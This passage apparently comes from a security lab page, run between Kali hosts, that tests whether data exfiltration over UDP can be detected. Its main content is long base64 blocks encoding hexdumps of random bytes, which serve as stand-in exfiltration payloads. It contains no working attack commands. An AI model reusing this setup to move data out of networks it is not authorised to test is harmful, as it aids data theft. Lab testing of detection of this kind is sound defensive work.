Li4uLi4uLmcuNi5dLnwKMDAwMDA4ZDAgIDI3IDliIGZlIDk0IDM1IGQ5IDgxIGYxICAwNCBl
NiBhYiA0MyA2ZSA1NSA2MyA4ZCAgfCcuLi41Li4uLi4uQ25VYy58CjAwMDAwOGUwICBjOSBl
NSA3ZiBiNiAzOSA1MiBkZSAwMiAgYTcgYWMgNmUgOWQgNDQgYmEgOGQgZWYgIHwuLi4uOVIu
Li4ubi5ELi4ufAowMDAwMDhmMCAgNjYgMjAgMzIgNGIgNDcgYmMgMjMgOWEgIDJjIDU5IDM0
IDYzIDYwIGI1IDg5IDI5ICB8ZiAyS0cuIy4sWTRjYC4uKXwKMDAwMDA5MDAgIDIyIDRiIDEx
IDYwIDFlIDdhIGJiIGFkICA3ZiA3YiAzNCAyZCA3ZCAxYiAxMSBhNiAgfCJLLmAuei4uLns0
LX0uLi58CjAwMDAwOTEwICA3ZSA3NyA1ZSBkOCAxYyBiNiAyZCA4MyAgNDMgZDAgYzAgNGIg
ZmMgZGUgMTMgNTggIHx+d14uLi4tLkMuLksuLi5YfAowMDAwMDkyMCAgMjQgNWYgM2MgNzEg
OTQgNjggNTEgNWQgIDhlIDllIDBkIDk0IDQyIGFmIDM5IDY4ICB8JF88cS5oUV0uLi4uQi45
aHwKMDAwMDA5MzAgIGI1IDVkIDkyIDFlIGM3IDE4IGY1IGY0ICBmZSA1OSBlNCA2ZSBhOCA2
OCBlZSAzZSAgfC5dLi4uLi4uLlkubi5oLj58CjAwMDAwOTQwICA4MCA5ZSBiYiAwMiAxYSBk
YyA5MCAwMiAgMmIgYWQgMmMgODAgMTcgNWYgODggMDkgIHwuLi4uLi4uLisuLC4uXy4ufAow
MDAwMDk1MCAgODUgMGYgNjEgOTEgMGQgODIgYWEgZTQgIDc3IDY0IDdhIDA4IDE2IGU2IGNm
IDNlICB8Li5hLi4uLi53ZHouLi4uPnwKMDAwMDA5NjAgIDVjIGUzIGVhIGE4IDJmIGM4IGFm
IGZmICAwOCA5YSAyMiA3OCA5YyAyNyA1ZSA0YyAgfFwuLi4vLi4uLi4ieC4nXkx8CjAwMDAw
OTcwICBlYiBkYiBmMyAwYSA2MSBmZiBmNCBiMiAgMzkgNmEgZjkgYmMgZTMgNjMgNDkgZDcg
IHwuLi4uYS4uLjlqLi4uY0kufAowMDAwMDk4MCAgYTUgMmEgYjMgOWIgZTAgNTYgN2YgZGEg
IDQ4IDhhIDhlIDc0IDVlIDk2IDhhIGMwICB8LiouLi5WLi5ILi50Xi4uLnwKMDAwMDA5OTAg
IDY5IGZjIDg3IGQ5IDUxIDYyIDI5IDcxICAzYiBmMyAzYyBlNiA5ZSA1OSAxMCAyYiAgfGku
Li5RYilxOy48Li5ZLit8CjAwMDAwOWEwICBiZiBkNCA2MyA5NiBmZiA5ZSBiYSAwNSAgMDIg
YmQgOWUgNTkgNTEgZGMgODYgNjIgIHwuLmMuLi4uLi4uLllRLi5ifAowMDAwMDliMCAgY2Eg
YTcgMzAgYTcgMzIgYzkgYmIgZDYgIGIxIGI5IDg1IGJkIDI0IGRmIGU5IGRlICB8Li4wLjIu
Li4uLi4uJC4uLnwKMDAwMDA5YzAgIDdiIDdkIDZjIGVjIDE2IGI5IDk5IDU5ICBiZiA4NCBk
YSBlYSAxNCA3MSA3OCBhNiAgfHt9bC4uLi5ZLi4uLi5xeC58CjAwMDAwOWQwICAxMSA5NSBm
YSBlMiBiZCBmYSBhMyBlMSAgMTIgNzAgZDYgMjIgMDggN2YgY2YgMTMgIHwuLi4uLi4uLi5w
LiIuLi4ufAowMDAwMDllMCAgN2YgYWEgZjkgNTQgYzggNzggZjQgYjEgIDJiIDMxIGQ5IDRl
IGI2IDQzIDhmIGYxICB8Li4uVC54Li4rMS5OLkMuLnwKMDAwMDA5ZjAgIDExIDA5IDhkIDdh
IDVjIDY4IDlmIGU4ICAyZiAxMCAyYyA5MCAyMCBiOCAxZSAxNyAgfC4uLnpcaC4uLy4sLiAu
Li58CjAwMDAwYTAwICA0ZCBkMyBkNyA4NiA5YiAwYSAxNyBkYiAgMGYgMzIgZmEgZTggNDgg
MDYgM2EgYmIgIHxNLi4uLi4uLi4yLi5ILjoufAowMDAwMGExMCAgYjQgZWYgNDkgMTEgNWQg
OTAgYjMgYTIgIGMxIGYxIGIzIDM5IDRjIDkwIDU5IDIwICB8Li5JLl0uLi4uLi45TC5ZIHwK
MDAwMDBhMjAgIDEzIDFmIDEwIDQwIDZhIGM2IDgyIGVlICBjNyA0OSBiMCAyMCAxNSBlYSAz
NCA5YyAgfC4uLkBqLi4uLkkuIC4uNC58CjAwMDAwYTMwICAwMSA0MyA4YiAwNiBmMiA4OCBj
ZCBlZCAgZjEgOTcgOTQgODkgYWYgOWMgZTEgYjggIHwuQy4uLi4uLi4uLi4uLi4ufAowMDAw
MGE0MCAgZjMgZGIgNzYgMzkgMTUgZmQgMGQgNDIgIGQxIGIzIDIyIGUwIDI5IDBhIDNjIDgx
ICB8Li52OS4uLkIuLiIuKS48LnwKMDAwMDBhNTAgIDRlIGMwIDAyIGJiIDRhIDBiIGFmIGJl
ICA3OSA2YiA3MSA1OSA4MiAzOSAyNSBmYiAgfE4uLi5KLi4ueWtxWS45JS58CjAwMDAwYTYw
ICAyMCAwNCA5MiA1OSBmNiA1ZCA3MiBjYyAgYWIgZTcgNjEgNmQgNmUgODUgZjcgNzQgIHwg
Li5ZLl1yLi4uYW1uLi50fAowMDAwMGE3MCAgNDMgZDkgM2MgMTkgZDggZDEgNmUgZmYgIDY5
IDgzIGQwIGIwIGNmIGZiIDc0IGM0ICB8Qy48Li4ubi5pLi4uLi50LnwKMDAwMDBhODAgIDlk
IDNkIGZiIDk5IDkxIDFlIGY4IGVlICBiNiBmNyAwMiBiNCBmMyBlYSAwOCA4YyAgfC49Li4u
Li4uLi4uLi4uLi58CjAwMDAwYTkwICA0YyA2MiBhZiA2MyAwMiA0MCBmNyAwOSAgZGUgNTUg
ZTkgMTcgNDggN2UgYzkgZDggIHxMYi5jLkAuLi5VLi5Ifi4ufAowMDAwMGFhMCAgOTQgYzIg
NzQgNmYgZGIgYzYgMGIgN2QgIGFmIGE5IGJkIDBlIDNkIDllIGE0IDViICB8Li50by4uLn0u
Li4uPS4uW3wKMDAwMDBhYjAgIGUzIDY4IGRiIGJiIGFjIGMzIDY4IDk4ICAyOSAwZCAxYiAy
MiBiMyBkYiAzOCAwZSAgfC5oLi4uLmguKS4uIi4uOC58CjAwMDAwYWMwICBmMCBiMCBkYiBj
NSA5ZSBlYSAwOSA0NCAgZjUgNTQgMWYgN2QgOTYgZTUgNTMgMWQgIHwuLi4uLi4uRC5ULn0u
LlMufAowMDAwMGFkMCAgYWMgZTUgZWQgMzYgMTkgZmIgYzQgNGMgIDcyIDhmIGRiIDM3IGE2
IDczIDJlIGQ1ICB8Li4uNi4uLkxyLi43LnMuLnwKMDAwMDBhZTAgIDI1IDBhIDE1IGQzIDNh
IDA1IGVhIDQ4ICAxZiA4NyAzMiBhOCBlOCBkNyAxZCA1MCAgfCUuLi46Li5ILi4yLi4uLlB8
CjAwMDAwYWYwICA3MiA4ZSAxZSBiNSA0ZiBmNiBhYyA4ZiAgNDcgMWQgYTcgNTQgNDIgMzMg
NGEgMDggIHxyLi4uTy4uLkcuLlRCM0oufAowMDAwMGIwMCAgOTggNDIgMGYgZTkgMWYgZWMg
Y2EgYjAgIDAyIDdhIDBjIGI5IGI5IDU4IDEzIDk3ICB8LkIuLi4uLi4uei4uLlguLnwKMDAw
MDBiMTAgIGZhIDk4IDFkIDI0IDhiIDFjIDU1IDc5ICA3YiAxNCA1YyA3MyA0ZCAwNCAxNCAw
MSAgfC4uLiQuLlV5ey5cc00uLi58CjAwMDAwYjIwICA5NCBmOSA4MyBmNyAwYyBjMCAwZiA4
OCAgNjkgYzkgYTMgOWQgZWUgNTAgNTIgYzEgIHwuLi4uLi4uLmkuLi4uUFIufAowMDAwMGIz
MCAgYjYgZTUgNTcgOTAgNjMgNTYgMzQgMzkgIGE3IDM3IGI3IGI4IDZiIDBkIGI4IDM1ICB8
Li5XLmNWNDkuNy4uay4uNXwKMDAwMDBiNDAgIGU5IDBjIDYzIDU3IDE4IDE2IDY1IDE3ICAy
NiBkNSAxYiAxNyA5MSBjZSA5OSA0ZCAgfC4uY1cuLmUuJi4uLi4uLk18CjAwMDAwYjUwICBh
NyA5ZSAxOSBkZCBkOCA4NyAzMSBhZCAgMDIgNWYgMzkgYzQgYjQgNGYgMDcgZDcgIHwuLi4u
Li4xLi5fOS4uTy4ufAowMDAwMGI2MCAgNDAgNDEgMjYgNmYgMDkgZTIgYWQgOTMgIGIxIDYw
IDU4IGVkIGFkIGEwIGI1IGFmICB8QEEmby4uLi4uYFguLi4uLnwKMDAwMDBiNzAgIGVmIDk0
IDk0IGYwIGE2IGFiIDM5IDEzICAzZCBlMSAwNyBmMCBlZCA3NiBkNiBmZiAgfC4uLi4uLjku
PS4uLi52Li58CjAwMDAwYjgwICA1MyBhZSBiMyA5YyBlYSBmNiAzNyBmZiAgYjUgZjggYTgg
OTAgYjEgM2UgNDQgOTAgIHxTLi4uLi43Li4uLi4uPkQufAowMDAwMGI5MCAgY2EgNjIgM2Eg
MzggNjMgZWMgMTMgNmMgIGM3IDlhIDA1IDdhIDVlIGM4IGYzIDY5ICB8LmI6OGMuLmwuLi56
Xi4uaXwKMDAwMDBiYTAgIDczIDZhIDI4IDNhIGJlIGY3IGY2IDNmICA3ZSAxMyBkNCBjNyBl
ZSA1YSA4YyA1NiAgfHNqKDouLi4/fi4uLi5aLlZ8CjAwMDAwYmIwICBhNyA5YyA2ZiA0YiBh
NSA4NiBlMSA4YyAgZDcgMDMgMmQgNDQgOWUgYjggNDkgODMgIHwuLm9LLi4uLi4uLUQuLkku
fAowMDAwMGJjMCAgMWEgMGIgMzYgYWUgM2QgMTkgYWMgMjEgIGVlIDIwIDQwIGQxIGYxIDIy
IDYyIDg3ICB8Li42Lj0uLiEuIEAuLiJiLnwKMDAwMDBiZDAgIDY0IDM4IGMxIDE0IDY2IDUz
IGJlIDY5ICBhOSA0NCA4ZiBjYSA5MSBjMiBmZiAwNiAgfGQ4Li5mUy5pLkQuLi4uLi58CjAw
MDAwYmUwICBhNiAwYyA0MyAwYiA4MCBiZCAxOCAyOSAgYjkgY2QgNTYgOTAgNjcgNmMgMmQg
Y2EgIHwuLkMuLi4uKS4uVi5nbC0ufAowMDAwMGJmMCAgZTcgZjMgMjIgMGUgMzIgOGUgZDEg
Y2YgIDBlIGY5IDA3IDcxIDllIGM2IDdhIDYzICB8Li4iLjIuLi4uLi5xLi56Y3wKMDAwMDBj
MDAgIGE4IDVkIDI2IGUxIGQ4IDliIGVmIGE5ICAxMiA1MiA1MCBiYyAxOSBkZiBhNCA5NiAg
fC5dJi4uLi4uLlJQLi4uLi58CjAwMDAwYzEwICA5MyAxMSA4MSA3NiA4OSAzZiBmOSBjMiAg
M2EgZjIgYmMgMmIgNjAgYjUgY2QgOWIgIHwuLi52Lj8uLjouLitgLi4ufAowMDAwMGMyMCAg
YTIgOWEgNDggNzkgNWUgZDQgODMgZWQgIDg1IGFjIDI5IDE0IDYwIDI3IDNiIDBjICB8Li5I
eV4uLi4uLikuYCc7LnwKMDAwMDBjMzAgIDllIGUwIGZiIGNlIGIxIDMwIGMwIGVlICBmMSBl
YyAzOCA2NiA2YSBiNiA0MSBhNSAgfC4uLi4uMC4uLi44ZmouQS58CjAwMDAwYzQwICAzOCAx
MyA5MyA3NyBiNyA4NSBjZiAzYiAgNDEgNGYgOTEgZjUgZDIgZjUgNTQgMjUgIHw4Li53Li4u
O0FPLi4uLlQlfAowMDAwMGM1MCAgZWIgNWQgMjkgMTIgMjMgY2EgMWMgZWIgIDNmIDhkIGU4
IDcwIDM1IGE0IDZkIDE1ICB8Ll0pLiMuLi4/Li5wNS5tLnwKMDAwMDBjNjAgIGQ4IGM5IGQ1
IDJiIGVlIDU2IGJkIDZiICBjMiBiYyAyMSA1MyAwMiBiZiA0OCAyOSAgfC4uLisuVi5rLi4h
Uy4uSCl8CjAwMDAwYzcwICBiNyBkOSAwYSBiMCA0NiBmOSA5ZSA5MSAgZjEgMWQgMTcgZmIg
YTcgMmIgNDAgODEgIHwuLi4uRi4uLi4uLi4uK0AufAowMDAwMGM4MCAgYzggNzMgMDUgYjQg
NDggMGEgOGIgOWEgIDM4IDFhIGUwIDZlIDIzIGZlIDg3IDJmICB8LnMuLkguLi44Li5uIy4u
L3wKMDAwMDBjOTAgIDFkIDc1IDBkIGI0IDJlIDcyIDZjIGI3ICAwNCBmZCBhZCAxNiBkZCBj
YyAwOCA2ZSAgfC51Li4ucmwuLi4uLi4uLm58CjAwMDAwY2EwICAxMCA1NSAxYiBjZCA0NCA4
ZCBmYiBlZCAgMDMgZDkgYmIgNTggMDUgMDcgY2QgYTUgIHwuVS4uRC4uLi4uLlguLi4ufAow
MDAwMGNiMCAgZWQgMmQgNzMgNTQgODEgZjAgMGQgZTcgIGQ5IGY2IGZlIDdjIGQyIDJjIDdk
IDIxICB8Li1zVC4uLi4uLi58Lix9IXwKMDAwMDBjYzAgIDM3IDMzIDE2IDVhIDA0IGJhIGE3
IDNkICA5NSAzZCAxOCA0ZSA3YiBhYSA5YSAxYiAgfDczLlouLi49Lj0uTnsuLi58CjAwMDAw
Y2QwICBiZCA4NyAwOSA3NiA4OSBlYiA0NyA2MiAgOGEgNjggZDYgOGEgYTcgZjcgMzkgODUg
IHwuLi52Li5HYi5oLi4uLjkufAowMDAwMGNlMCAgYmYgOTggZDEgMDMgZjAgMDcgZmUgYTgg
IGNkIDg2IDQ4IDcwIDMwIDFlIDJmIDMyICB8Li4uLi4uLi4uLkhwMC4vMnwKMDAwMDBjZjAg
IGMzIGFlIGE0IGI4IDhjIGIwIDQwIDcxICBiNCBmYyBhOCAwZSA4ZiBlMSA1ZSBjNiAgfC4u
Li4uLkBxLi4uLi4uXi58CjAwMDAwZDAwICA3MSBlZSA5OSA0NSBiNiBiOCAzZCA5NyAgMmQg
OTIgOGYgMGUgYmYgODYgNDMgMzIgIHxxLi5FLi49Li0uLi4uLkMyfAowMDAwMGQxMCAgOWYg
MmMgYzMgMTggYWMgMDMgYWMgMGEgIGM3IGIyIGY1IDg4IDFlIDkxIGFlIDM2ICB8LiwuLi4u
Li4uLi4uLi4uNnwKMDAwMDBkMjAgIGQzIGQwIDc1IGJlIGU0IDU3IGY2IDllICBkYyA1MyA0
ZSA4NCBiMCBkNyAwNCA3MSAgfC4udS4uVy4uLlNOLi4uLnF8CjAwMDAwZDMwICAxMSAyMCBl
OSBlOSBlMyBjMCBmOSA5NSAgNjUgYzcgNzkgMzggZTEgOTQgNzcgNjUgIHwuIC4uLi4uLmUu
eTguLndlfAowMDAwMGQ0MCAgZWIgN2QgM2MgODQgYmUgYTYgZmIgYTYgIGJmIGIxIGFlIGQz
IGU3IDdjIGViIGI2ICB8Ln08Li4uLi4uLi4uLnwuLnwKMDAwMDBkNTAgIDM4IDBmIDNmIGNm
IDMyIGIwIGE4IDRmICBiOCBhZSA0ZCA4MCAyNSA0ZCBmYiA1MyAgfDguPy4yLi5PLi5NLiVN
LlN8CjAwMDAwZDYwICA0MCA3ZSA2OCAzYSA2MSAzOCAzMyA0MiAgZjAgZGQgZTMgMTYgMjYg
ODggYjkgNjIgIHxAfmg6YTgzQi4uLi4mLi5ifAowMDAwMGQ3MCAgNTYgZjcgYjMgZDcgZGMg
ZjcgYjYgM2YgIDNkIDM5IDAyIDk0IGM5IDNlIGJmIGZiICB8Vi4uLi4uLj89OS4uLj4uLnwK
MDAwMDBkODAgIDVkIGZlIDE0IDAwIDVhIDQzIDQ3IDJhICAxNCBjNiAzOCBjZSA3MiAwMSA3
NyBlZiAgfF0uLi5aQ0cqLi44LnIudy58CjAwMDAwZDkwICA2NSAxOSA1ZCA0NCA3ZSA2MSBl
YSA5YSAgNWYgZDggMDcgNzMgMDYgNzYgODMgMmQgIHxlLl1EfmEuLl8uLnMudi4tfAowMDAw
MGRhMCAgYTYgOTYgNTMgNzggMWUgZmMgNzUgYTEgIDY3IGU3IDE4IDgwIDllIDc3IGI3IGQ4
ICB8Li5TeC4udS5nLi4uLncuLnwKMDAwMDBkYjAgIGJhIGJmIGEyIDlmIDljIGM4IDE5IDUy
ICA4ZCA2NiBiNCA4MiBiMCA0NSA3ZSA5OSAgfC4uLi4uLi5SLmYuLi5Ffi58CjAwMDAwZGMw
ICAwMSBlMSA2NCA3MCBiNiA4ZCBkNiA5NyAgZTkgMjEgNTYgZWMgMjUgZTIgYzEgMTQgIHwu
LmRwLi4uLi4hVi4lLi4ufAowMDAwMGRkMCAgNjcgZGEgZmIgZWEgYTMgNjggOTkgMzcgIGMx
IGM2IDAzIGJkIGQ4IDM2IDA4IDU0ICB8Zy4uLi5oLjcuLi4uLjYuVHwKMDAwMDBkZTAgIDRh
IDU5IGExIDRkIGE1IDBhIDdlIDQ4ICBkMCA2ZiA3ZCBiNiAzYiBjNyA3YSAyMSAgfEpZLk0u
Ln5ILm99LjsueiF8CjAwMDAwZGYwICBiMCAzZCA5NCAyYyBhZSA4OSBiZCAwNiAgODEgOTcg
ODggMTYgYzkgMGUgNDcgMDggIHwuPS4sLi4uLi4uLi4uLkcufAowMDAwMGUwMCAgOWEgNWEg
OWMgMTQgN2MgMTAgY2YgZjMgIGJhIGFmIDc3IDM5IGYzIDQ4IGQyIDdmICB8LlouLnwuLi4u
Lnc5LkguLnwKMDAwMDBlMTAgIGY1IGQ2IDIwIDQ3IGUxIDk3IDM5IDM4ICBjMSBiYiBjOSA1
YyA0NSA3OSBkZCBiOCAgfC4uIEcuLjk4Li4uXEV5Li58CjAwMDAwZTIwICAxNiBiNyA2NSBi
YSBmNSA0MSAyZiA0ZCAgMGYgYTkgNzAgOTEgOGIgYmIgZmMgN2YgIHwuLmUuLkEvTS4ucC4u
Li4ufAowMDAwMGUzMCAgNzkgYWYgNmUgNDggOWUgOGUgMDQgZDAgIDRiIGZmIDRlIGRhIDMz
IDdiIDNlIDQ4ICB8eS5uSC4uLi5LLk4uM3s+SHwKMDAwMDBlNDAgIDlmIDU3IGZmIDQ3IGNm
IDAxIGE4IDg4ICA3MyA3ZSBhNCBhOSA5MiBkMCBlOSAxNSAgfC5XLkcuLi4uc34uLi4uLi58
CjAwMDAwZTUwICBkYyAxYyA3OCA4OCBhZSBlMyA2OCBjZiAgNTMgZTQgMjUgZmMgZjggYzgg
MzAgZDMgIHwuLnguLi5oLlMuJS4uLjAufAowMDAwMGU2MCAgNjEgYzcgNWMgMDMgNzggMWEg
N2IgMTggIDViIDVjIGEwIGFkIDg0IGE1IGZmIDBkICB8YS5cLnguey5bXC4uLi4uLnwKMDAw
MDBlNzAgIDYyIDE0IGMxIDAwIDRkIDJhIDYwIGIzICBkNCA3OCA5NyBiNiAyZiAxMSA4ZCA2
NCAgfGIuLi5NKmAuLnguLi8uLmR8CjAwMDAwZTgwICAyNiA4YiA5OCBhYSBmOCA0YiAxMiBh
NSAgYmIgZjUgODUgNGEgYWIgODggZGYgZjkgIHwmLi4uLksuLi4uLkouLi4ufAowMDAwMGU5
MCAgYzQgYmIgNTAgMjUgZDYgNjUgYTggZTQgIDcwIGJlIDI0IDY0IGY2IGYxIGEyIDRlICB8
Li5QJS5lLi5wLiRkLi4uTnwKMDAwMDBlYTAgIDI4IDcwIGJhIGZlIDEwIGM1IDM1IDAwICAx
NyA0YiBmNyA3MSA5MSA2YiBmMCAyMCAgfChwLi4uLjUuLksucS5rLiB8CjAwMDAwZWIwICBh
NiA2MiBkZSA0MiA0OCA1NyAzZSAzNCAgZTggZGQgNWUgZmMgY2QgMWEgZDUgNzIgIHwuYi5C
SFc+NC4uXi4uLi5yfAowMDAwMGVjMCAgMzUgNGUgYmIgM2EgNjYgN2YgODQgOTkgIDNmIGI1
IGI1IDg0IDUyIDkyIGM3IGY5ICB8NU4uOmYuLi4/Li4uUi4uLnwKMDAwMDBlZDAgIDkxIGQ5
IGRjIGQ1IDBmIGU2IGYyIGI4ICBmOSAzZiA2ZSBhOCBjZSBjNCA5MiA5NiAgfC4uLi4uLi4u
Lj9uLi4uLi58CjAwMDAwZWUwICA4ZSAyYyAwNiBjNyBjYiA1OSBmNiBjOCAgMDEgMmMgOTMg
MjcgYjYgYWUgMmEgMjIgIHwuLC4uLlkuLi4sLicuLioifAowMDAwMGVmMCAgZTEgMDUgOTQg
NTAgM2IgYjAgYjUgZWMgIDYwIGE0IDBlIGJlIGUxIGZhIGVlIDU2ICB8Li4uUDsuLi5gLi4u
Li4uVnwKMDAwMDBmMDAgIGE5IDM0IDljIGYwIGI1IGZkIDc2IDA1ICA2MCA2ZSBmZCBlMSAx
MCA5MCA5NyBlNCAgfC40Li4uLnYuYG4uLi4uLi58CjAwMDAwZjEwICA1ZSBlZiA0MyA1MCBk
MiA5NyBlNyBlYyAgNTYgYmQgNjIgOTAgZWYgYjAgOTEgOTAgIHxeLkNQLi4uLlYuYi4uLi4u
fAowMDAwMGYyMCAgNzMgMDQgODMgOGMgYzUgMTAgYWIgYWEgIDFiIGRjIDFlIGVhIGNkIGJi
IDQ2IDI0ICB8cy4uLi4uLi4uLi4uLi5GJHwKMDAwMDBmMzAgIGYxIDI1IDg2IDMzIDMyIGRk
IDY3IDdlICA2ZiA1NyAzMSBmNyBlOCA0NSBlNyAxZSAgfC4lLjMyLmd+b1cxLi5FLi58CjAw
MDAwZjQwICAxNCA3ZCA2NiA2ZiA0MCBlMSAwOSA1NSAgZjcgM2IgYTUgNmUgNTUgOTIgNDgg
YmIgIHwufWZvQC4uVS47Lm5VLkgufAowMDAwMGY1MCAgZmQgMWUgMTIgODIgZGEgYWMgODUg
NTYgIGZjIDA5IDRhIGZiIDY4IDU3IDc0IDVmICB8Li4uLi4uLlYuLkouaFd0X3wKMDAwMDBm
NjAgIGU5IDhiIDhjIDFhIDJkIGI1IDgxIGY1ICBlYSBkZCAyMSA4OSAwZCBkMCA2OCA3YyAg
fC4uLi4tLi4uLi4hLi4uaHx8CjAwMDAwZjcwICA4MSA0ZiBiMCA0YSAxOCA4NSA5MSBkMSAg
NjQgYjAgOWUgMDEgMjAgY2IgMzYgZGMgIHwuTy5KLi4uLmQuLi4gLjYufAowMDAwMGY4MCAg
NTYgMWYgNmUgNTQgMTggYjQgOGUgYTQgIGJkIGNiIGNlIGYyIDE4IDBhIGEyIGY4ICB8Vi5u
VC4uLi4uLi4uLi4uLnwKMDAwMDBmOTAgIGQ2IDEzIGQwIDk4IDdlIDFhIGMzIGFjICBlMyBl
NiAwYiA0YyBiMyA4YiA3ZiA1MCAgfC4uLi5+Li4uLi4uTC4uLlB8CjAwMDAwZmEwICBmZCBl
NCA0MSBiNyBlYiAxYSBkMiAwZSAgNmEgYjQgOWYgNWUgNTYgMDEgYWUgNzYgIHwuLkEuLi4u
LmouLl5WLi52fAowMDAwMGZiMCAgMTUgNTIgYTUgYmIgYTIgZGQgMWIgYTIgIDIwIGM2IDM5
IDc1IGRlIDhkIDU5IDA2ICB8LlIuLi4uLi4gLjl1Li5ZLnwKMDAwMDBmYzAgIGIyIGM1IGMy
IDhlIDY5IDBiIDA3IDIzICBiNCBiOSAzMCBlZCAyZiBlYSAwZiA1NCAgfC4uLi5pLi4jLi4w
Li8uLlR8CjAwMDAwZmQwICAxMyBjNCA4NiA2OSAwZSBjMyBlMSA2ZCAgMTQgMzQgOWMgYzgg
MTYgOTEgMmQgNzEgIHwuLi5pLi4ubS40Li4uLi1xfAowMDAwMGZlMCAgNzEgMDUgYWUgZDQg
ZjcgM2MgYjIgZGYgIDMyIDNiIGYyIGExIDIyIGYwIGJjIDU2ICB8cS4uLi48Li4yOy4uIi4u
VnwKMDAwMDBmZjAgIDgxIDVhIGFlIDliIDgwIDU5IGUyIDdmICAwZSBkZiBhYSBhOCBjMiBi
MSBkNCAzYiAgfC5aLi4uWS4uLi4uLi4uLjt8CjAwMDAxMDAwICBjOCBmZSAxOCAwMyBlYiA4
NCAyOCAxYSAgMjMgYzIgMGMgZGYgYzQgZmEgNjAgNDQgIHwuLi4uLi4oLiMuLi4uLmBEfAow
MDAwMTAxMCAgN2MgNmEgZjEgMTcgY2UgM2QgYzQgZWQgIDUyIGMxIDk0IDM1IDA2IGQ3IDQ2
IGY5ICB8fGouLi49Li5SLi41Li5GLnwKMDAwMDEwMjAgIDE1IDIzIGU5IDY2IDQyIDUwIDA5
IDRmICAxMyA2YSA0NSAzNCA4ZCBmMSBlMiBjNCAgfC4jLmZCUC5PLmpFNC4uLi58CjAwMDAx
MDMwICA0ZiBkMyA2YyA3OSA5YSBhOCBmZSBiZCAgNzAgM2MgODQgODQgNzIgMjAgZDkgZTcg
IHxPLmx5Li4uLnA8Li5yIC4ufAowMDAwMTA0MCAgNmMgZjcgOWYgNWMgNDkgNWYgMzIgMTIg
IDU3IGI0IDJiIDUwIGQ1IDUxIDY2IDJmICB8bC4uXElfMi5XLitQLlFmL3wKMDAwMDEwNTAg
IGE5IDEyIDRiIDE0IDE2IGU3IDA4IDFiICA4ZiBmZCA0NiAzNSAwMyBmMCA1NCA5OCAgfC4u
Sy4uLi4uLi5GNS4uVC58CjAwMDAxMDYwICAyMCAwNyAwNSA4MiA4ZiAwNSBlYiBjZiAgZmMg
YjMgZTggMmMgNDcgZDQgNTMgMDcgIHwgLi4uLi4uLi4uLixHLlMufAowMDAwMTA3MCAgNGEg
NzIgMmEgMmUgNWYgOGIgYWIgYWYgIDBjIDc4IGVlIGFlIGU2IDNhIGQxIDNkICB8SnIqLl8u
Li4ueC4uLjouPXwKMDAwMDEwODAgIDI1IDIwIDk3IGMxIDIwIDliIGUzIGQ1ICA0NSBlNSBl
ZCAxYyBlYyA2MCA2NSAxNyAgfCUgLi4gLi4uRS4uLi5gZS58CjAwMDAxMDkwICBmZSBiNSBh
NCA4YSBjMyBlOCBjZCA1ZCAgMmEgYjcgNzAgNmMgMTggMWQgYjAgZWYgIHwuLi4uLi4uXSou
cGwuLi4ufAowMDAwMTBhMCAgMWQgMmEgZTIgMjcgOTIgZjIgZTIgZjAgIDkzIDE1IDIzIDhi
IDI2IDRhIGM0IDUyICB8LiouJy4uLi4uLiMuJkouUnwKMDAwMDEwYjAgIDJmIDIwIGEwIDA3
IDNiIDIwIDNiIDU0ICBmMCAyOCAxZiAxZiAzNiBmOCA3YSBjNiAgfC8gLi47IDtULiguLjYu
ei58CjAwMDAxMGMwICBjMyA5ZCAxMSA5OCAzMCA4OSBmZSBmOCAgYjMgMGYgMTIgZWQgNjMg
ZTgKCg==
kali-lan-client#
</code></pre>
<p><a id="exfiltration-udp-payload"></a></p>
<h3>Example payload for the Exfiltration of data using UDP and any port to any IP</h3>
<p>This example payload was generated using <code>dd</code> and <code>hexdump -C</code> (e.g.: <code>dd if=/dev/urandom bs=1M count=1 | hexdump -C &gt; exfiltration-udp-2</code>).</p>
<pre><code>kali-wan-server% base64 exfiltration-udp-2
MDAwMDAwMDAgIDQ0IDY4IDI2IDlhIDcyIGU0IDIzIDBlICA2NyBjMCA3YyA5YyA1ZSA3MSBlYiA2
OCAgfERoJi5yLiMuZy58Ll5xLmh8CjAwMDAwMDEwICA3OSBjYiBhOCBhMiA3OCAwOSA5OSA2NiAg
YmYgODIgYjQgN2EgMGQgZDYgOGIgMWQgIHx5Li4ueC4uZi4uLnouLi4ufAowMDAwMDAyMCAgZTkg
YTUgMTYgZTcgZWQgNTAgZWEgNWUgIDE4IGNmIGRiIDU5IDZlIGFmIDE3IGZhICB8Li4uLi5QLl4u
Li5Zbi4uLnwKMDAwMDAwMzAgIDYxIDA0IDE4IDczIGU1IDAyIDMwIDg1ICAyZiAxMiBjYSA0YyBm
NSA5NSAxZSBlMCAgfGEuLnMuLjAuLy4uTC4uLi58CjAwMDAwMDQwICBiZCBkZiAxZiBlMSBmYSAx
NiAyMSAwYiAgNDQgZmIgZGYgYmQgNjggYmUgZjYgOWEgIHwuLi4uLi4hLkQuLi5oLi4ufAowMDAw
MDA1MCAgZDYgMDUgMGMgNDIgZmUgZTIgM2MgZTkgIDM1IDQwIGYyIGMzIDdhIGMyIGZjIDNkICB8
Li4uQi4uPC41QC4uei4uPXwKMDAwMDAwNjAgIDk4IGNkIDRiIGNhIGM0IGVlIDVmIGZhICBjZCAy
YSA4NSBmOCA4ZSA4YiAxZCBlMSAgfC4uSy4uLl8uLiouLi4uLi58CjAwMDAwMDcwICBiNyAwOCAw
ZCA4YSA3NSBmOSA3OSA5NyAgMmUgMmUgN2YgNDAgMzAgYjMgZDggZmEgIHwuLi4udS55Li4uLkAw
Li4ufAowMDAwMDA4MCAgNTQgODQgZTUgYTUgMzAgNzQgYTIgYjYgIGFlIDcwIGJhIGViIDFiIDkz
IDIyIGJlICB8VC4uLjB0Li4ucC4uLi4iLnwKMDAwMDAwOTAgIDVjIDhkIDVlIDI3IGZhIGQ4IDdm
IDUzICA0OSBkMSBmMCA2NSA5OCAzNSA2MyAyYSAgfFwuXicuLi5TSS4uZS41Yyp8CjAwMDAwMGEw
ICA5MiAwYiAzZSBjNCA3NyBlMyA5YiA5ZSAgNjUgNTcgZDggYTIgZTUgNWUgYjMgOTkgIHwuLj4u
dy4uLmVXLi4uXi4ufAowMDAwMDBiMCAgZDMgOWIgMDkgMjggNzYgOTYgN2YgZDUgIDkwIDgyIGIy
IDYwIDk5IGM2IDc4IGQzICB8Li4uKHYuLi4uLi5gLi54LnwKMDAwMDAwYzAgIDY5IGY5IDkwIGQz
IGNmIGQxIGZhIGQxICA3MCBlOSAxZSAyMCAwNiA0YSAyNCBkYiAgfGkuLi4uLi4ucC4uIC5KJC58
